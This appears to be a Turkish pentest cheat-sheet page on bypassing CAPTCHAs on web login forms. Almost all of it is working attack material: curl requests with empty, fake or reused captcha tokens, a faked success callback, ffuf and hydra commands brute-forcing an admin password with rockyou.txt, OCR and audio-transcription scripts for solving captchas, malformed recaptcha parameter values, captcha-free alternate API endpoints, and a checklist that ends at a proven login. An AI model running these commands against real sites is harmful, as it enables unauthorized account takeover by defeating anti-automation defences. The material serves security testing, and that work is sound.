Skip to content

Captcha Bypass

web auth

Captcha, brute force ve otomasyonu yavaşlatmak içindir. Pratikte sık kırılır: istemci tarafı doğrulama, token yeniden kullanımı, ses/OCR, eksik sunucu kontrolü veya bypass parametreleri.

  1. Captcha akışını yakala — hangi parametreler sunucuya gidiyor?

  2. Token’ı yeniden gönder / boş bırak / eski token kullan.

  3. İstemci JS doğrulamasını devre dışı bırakıp isteği direkt at.

  4. OCR/ses veya üçüncü taraf çözücü ile otomasyonu bağla.

Terminal window
curl -sk https://TARGET/login -d 'user=admin&pass=Password1&captcha='
Terminal window
curl -sk https://TARGET/login -d 'user=admin&pass=Password1&captcha=AAAA'
POST /login HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
user=admin&pass=Password1&g-recaptcha-response=
Aynı captcha token'ını 100 istekte tekrar kullan — sunucu tek kullanımlık mı?
// DevTools: captcha success callback'i elle çağır
onCaptchaSuccess('fake-token');
Terminal window
# JS'de disabled submit butonunu açıp formu gönder
data-sitekey var ama sunucu token doğrulamıyorsa captcha dekoratiftir
Terminal window
ffuf -u https://TARGET/login -X POST -d 'user=admin&pass=FUZZ&captcha=x' -w rockyou.txt -mc 200,302 -rate 20
Terminal window
hydra -l admin -P rockyou.txt TARGET http-post-form '/login:user=^USER^&pass=^PASS^&captcha=:F=Invalid'
Terminal window
tesseract captcha.png stdout
Terminal window
curl -sk https://TARGET/captcha.png -o captcha.png
Terminal window
# audio captcha → speech-to-text
ffmpeg -i captcha.wav -ar 16000 out.wav
import pytesseract
from PIL import Image
print(pytesseract.image_to_string(Image.open('captcha.png')))
g-recaptcha-response=null
g-recaptcha-response[]=
g-recaptcha-response=undefined
Terminal window
# Alternatif endpoint: /api/login captcha istemiyor olabilir
curl -sk https://TARGET/api/v1/login -H 'Content-Type: application/json' -d '{"user":"admin","pass":"Password1"}'
Mobil API veya eski SOAP endpoint'i captcha'sız kalmış olabilir
import requests
s = requests.Session()
r = s.get('https://TARGET/login')
# captcha çöz / bypass et
s.post('https://TARGET/login', data={'user':'admin','pass':'Password1','captcha':'BYPASS'})
print(s.cookies)
[ ] Boş / sahte / tekrar token denendi
[ ] Captcha'sız alternatif endpoint arandı
[ ] İstemci-only doğrulama elendi veya suistimal edildi
[ ] OCR/ses veya bulk brute bağlandı
[ ] Başarılı login kanıtlandı